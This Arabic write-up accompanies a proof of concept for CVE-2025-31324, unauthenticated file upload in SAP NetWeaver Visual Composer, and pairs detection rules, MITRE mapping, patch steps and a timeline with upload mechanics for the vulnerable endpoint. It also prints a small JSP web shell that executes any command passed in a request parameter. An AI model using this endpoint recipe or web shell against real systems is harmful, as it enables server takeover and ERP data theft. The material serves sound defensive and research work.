
إثبات مفهوم لاستغلال CVE-2025-31324، وهو رفع ملفات غير مصادق عليه في SAP NetWeaver Visual Composer، مع إرشادات الكشف، وربط MITRE، وخطوات المعالجة.
النوع: إثبات المفهوم — بحث في الثغرات CVE: CVE-2025-31324 CVSS: 10.0 حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) الحالة: تم التصحيح — ملاحظة أمان SAP 3594142 + 3604119 أُضيف إلى CISA KEV: مايو 2025
⚠️ يستخدم إثبات المفهوم هذا ملف JSP غير ضار ("Hello World") للتحقق من سطح الهجوم دون تنفيذ تعليمات برمجية خبيثة. يُستخدم حصريًا في بيئات مصرح بها لأغراض اختبار الاختراق وتطوير أنظمة الكشف.
تم التطوير بواسطة: HKK$ cat ./vulnerability_summary.txtتقع ثغرة CVE-2025-31324 في مكوّن Visual Composer Metadata Uploader الخاص بـ SAP NetWeaver AS Java — وهي خلل في التحقق المفقود من التفويض يسمح لأي مهاجم غير مصادق عليه بإرسال طلبات POST إلى نقطة النهاية /developmentserver/metadatauploader، مما يؤدي إلى رفع غير مقيد لملفات عشوائية.
تؤثر CVE تحديدًا على SAP NetWeaver Visual Composer Framework الإصدار 7.50، بدرجة CVSS 10.0 — وهي أقصى درجة ممكنة.
استغل المهاجمون هذه الثغرة بنشاط من يناير إلى مايو 2025، حيث قاموا بنشر ويب شيلات دائمة في مئات الأنظمة حول العالم.
$ cat ./impact.txtنظرًا لأنها تعمل بامتيازات مرتفعة وقريبة من بيانات ERP، فإن الحركة الجانبية إلى حزم SAP ABAP أو قواعد البيانات المتصلة تكون تافهة بعد الاستغلال.
سلسلة الاستغلال الكاملة في الهجمات الحقيقية:
Upload JSP (CVE-2025-31324)
→ Webshell دائم على الخادم
→ RCE كعملية SAP (امتياز عالٍ)
→ الوصول إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)
→ حركة جانبية إلى ABAP / DB
→ نشر أطر C2 (مثل: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — تدفق الاستغلال │
│ │
│ المهاجم SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ الجسم: ملف JSP/WAR/أي شيء ──────────► │ Metadata Uploader │ │
│ (بدون مصادقة) │ │ │
│ │ ❌ بدون تحقق من │ │
│ │ المصادقة │ │
│ │ ❌ بدون تحقق من │ │
│ │ الامتداد │ │
│ │ ❌ بدون تنظيف │ │
│ │ للمحتوى │ │
│ └────────┬────────────┘ │
│ │ │
│ يُحفظ الملف في: │
│ /irj/root/ أو ما شابه │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (إثبات مفهوم غير ضار) │
│ → Webshell (استغلال حقيقي) │
└─────────────────────────────────────────────────────────────────────────┘
يعد /developmentserver/metadatauploader جزءًا من SAP Visual Composer — وهي أداة تطوير low-code لمحللي الأعمال لإنشاء تطبيقات SAP دون كتابة كود Java. صُممت نقطة النهاية لاستقبال نماذج البيانات الوصفية أثناء التطوير. على الرغم من أن المكوّن غير مفعّل في التكوين الافتراضي لـ NetWeaver، أبلغت Onapsis أنه مفعّل على نطاق واسع في بيئات الإنتاج.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
لماذا JSP وليس تنسيقًا آخر؟
يقوم SAP NetWeaver AS Java بتشغيل JVM — يتم تفسير ملفات .jsp مباشرة بواسطة حاوية servlet (Apache Tomcat المدمج) دون تجميع مسبق. وهذا يجعل JSP التنسيق المثالي للويب شيلات في بيئات Java.
اختيار المحتوى غير الضار ("Hello World") مقصود لإثبات المفهوم:
في الاستغلال الحقيقي، سيكون المحتوى ويب شيل JSP مع تنفيذ أوامر، مثال:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — لماذا هذا النوع من المحتوى؟files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
تتوقع نقطة النهاية طلب multipart/form-data — وهو نفس التنسيق المستخدم في نماذج HTML لرفع الملفات. هذا مقصود في التصميم الأصلي لـ Visual Composer (رفع نماذج التطوير).
تقوم مكتبة requests تلقائيًا ببناء حدود multipart عند تمرير files= — يتم إنشاء الترويسة Content-Type: multipart/form-data; boundary=... داخليًا.
verify=False: يعطل التحقق من شهادة TLS — ضروري لأن بيئات SAP غالبًا ما تستخدم شهادات موقعة ذاتيًا. في الإنتاج، استخدم verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| المكوّن | المعنى |
|---|---|
:50201 | المنفذ الافتراضي لـ SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet التطوير الخاص بـ Visual Composer |
metadatauploader | نقطة النهاية المحددة لرفع البيانات الوصفية |
CONTENTTYPE=MODEL | نوع المحتوى المتوقع من نقطة النهاية |
CLIENT=1 | عميل SAP — 000، 100، 001 شائعة |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# استغلال نقطة النهاية /developmentserver/metadatauploader
# بدون مصادقة عبر HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# رفع JSP webshell → تنفيذه بواسطة حاوية servlet (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell كآلية استمرارية
# ملف JSP يبقى في نظام ملفات الخادم بين عمليات إعادة التشغيل
tactic: Defense Evasion
- T1036 # Masquerading
# تسمية الويب شيلات كملفات SAP شرعية (مثل: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# بعد RCE: تعداد العمليات والمستخدمين ومسارات SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# الوصول إلى حزمة ABAP وقواعد البيانات المتصلة عبر RCE
tactic: Collection
- T1005 # Data from Local System
# وصول مباشر إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)
$ cat ./affected_versions.txtالمنتج: SAP NetWeaver Application Server Java
المكوّن: Visual Composer Framework
الإصدار: 7.50 (جميع الإصدارات قبل تصحيح أبريل/مايو 2025)
التصحيحات:
SSN 3594142 → التصحيح الأولي (أبريل 2025) — يخفف من رفع الملفات
SSN 3604119 → إصلاح السبب الجذري عبر CVE-2025-42999 (مايو 2025) — يعالج السبب الجذري
SSN 3578900, 3620498, 3621771, 3634501 → ملاحظات تقوية تكميلية
CISA KEV: تمت إضافة كل من CVE-2025-31324 و CVE-2025-42999 إلى الكتالوج
$ cat ./detection_opportunities.md# قاعدة: POST غير مصادق عليه لنقطة نهاية Metadata Uploader
# المصدر: سجل وصول SAP Web Dispatcher / ICM
الشرط:
- method: POST
- uri_path يحتوي على: /developmentserver/metadatauploader
- auth_header: غائب
- body_content_type: multipart/form-data
الخطورة: حرجة — تحقق فورًا
# سجل SAP ICM — نمط مشبوه:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# قاعدة: GET لملف .jsp تم إنشاؤه مؤخرًا خارج مسارات SAP الشرعية
الشرط:
- method: GET
- uri_path يطابق: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [قائمة JSPs الشرعية المعروفة]
# عملية فرعية مشبوهة من SAP JVM
# المصدر: Sysmon / EDR process creation
الشرط:
- parent_process: java.exe أو jstart.exe
- child_process: cmd.exe أو powershell.exe أو sh أو bash
- command_line يحتوي على: -c أو .socket أو .call( أو .spawn(
وثّقت Red Canary نمط الكشف التالي لاستغلال CVE-2025-31324 في بيئات Linux: عملية python مع وسيطة -c مدمجة مع .socket و .call( أو .spawn( — مما يشير إلى reverse shell بعد الويب شيل.
# البحث عن طلبات POST لنقطة النهاية الضعيفة خلال آخر 90 يومًا
# دليل السجلات: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# سرد JSPs التي تم إنشاؤها مؤخرًا في دليل الويب
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdالأولوية: حرجة — تصحيح فوري
1. التحقق مما إذا كان المكوّن نشطًا:
NWA → Configuration → Infrastructure → Java System Properties
البحث عن: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. إذا لم يكن ضروريًا → تعطيل Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. تطبيق التصحيحات الإلزامية (بالترتيب):
SSN 3594142 ← حرج (رفع الملفات)
SSN 3604119 ← السبب الجذري (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (تقوية إضافية)
4. تكوين JVM Serial Filter (بعد التصحيح):
NWA → JVM Parameters → إضافة مرشح للفئات الخبيثة
5. تقييد وصول الشبكة إلى نقطة النهاية في Web Dispatcher / جدار الحماية:
حظر: /developmentserver/* لعناوين IP الخارجية
السماح: فقط مضيفي التطوير المصرح لهم
6. التحقق من مؤشرات الاختراق — البحث عن ويب شيلات تم نشرها قبل التصحيح:
تحليل سجلات ICM منذ يناير 2025
البحث عن ملفات .jsp بمحتوى مشبوه في /irj/
$ cat ./usage.sh# تثبيت التبعية
pip install requests
# تعديل عنوان URL في السكربت قبل التنفيذ:
# url = "https://<host-المختبر-الخاص-بك>:<المنفذ>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# التنفيذ
python cve_2025_31324_poc.py
# التحقق من نجاح الرفع (يجب أن يكون الملف قابلًا للوصول)
curl -k https://<host>:<port>/irj/hello_world.jsp
# الاستجابة المتوقعة إذا كان ضعيفًا: HTML يحتوي على "Hello World"
# الاستجابة المتوقعة إذا تم التصحيح: 404 أو 403
$ cat ./timeline.txtيناير 2025 بداية الاستغلال النشط في البرية (اكتُشف بأثر رجعي)
24 أبريل 2025 SAP تنشر CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 أبريل 2025 CISA تضيفها إلى كتالوج الثغرات المستغلة المعروفة
29 أبريل 2025 Rapid7 و Qualys و Red Canary ينشرون تحليلات فنية
07 مايو 2025 Onapsis + Mandiant (Google Cloud) ينشرون إحاطة مشتركة
13 مايو 2025 SAP تنشر SSN 3604119 (السبب الجذري عبر CVE-2025-42999، CVSS 9.1)
15 مايو 2025 CISA تضيف CVE-2025-42999 إلى كتالوج KEV
20 مايو 2025 الموعد النهائي لـ CISA لتصحيح الأنظمة الفيدرالية الأمريكية
25 يونيو 2025 Unit 42 تنهي المراقبة النشطة للحملة
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] غياب المصادقة في نقاط نهاية "التطوير" هو ناقل كلاسيكي يتم التقليل من شأنه
[+] CVSS 10.0 تعني: بدون مصادقة + شبكة + RCE كامل — أخطر ثلاثية ممكنة
[+] Visual Composer ليس افتراضيًا لكنه كان نشطًا على نطاق واسع في الإنتاج — خطر الميزات الخفية
[+] JSP كويب شيل خفي بشكل خاص: بدون تجميع، يُنفَّذ مباشرة بواسطة الحاوية
[+] استغل المهاجمون الثغرة لأكثر من 3 أشهر قبل الإفصاح العام — كشف SOC أمر بالغ الأهمية
[-] verify=False في إثبات المفهوم — في اختبار الاختراق الحقيقي، وثّق الشهادة الموقعة ذاتيًا واستخدم verify=المسار
[-] CLIENT=1 مثبت — الإنتاج قد يستخدم 000، 100، 200؛ قم بالتعداد أولاً
[-] إثبات المفهوم لا يتحقق مما إذا كان الملف قابلًا للوصول بعد الرفع — أضف GET للتأكيد
[→] التحسينات: argparse للمضيف/المنفذ/العميل، تحقق تلقائي بعد الرفع، إخراج JSON
بحث CVE · CVSS 10.0 · تم التصحيح أبريل/مايو 2025 · CISA KEV · اختبار مصرح به فقط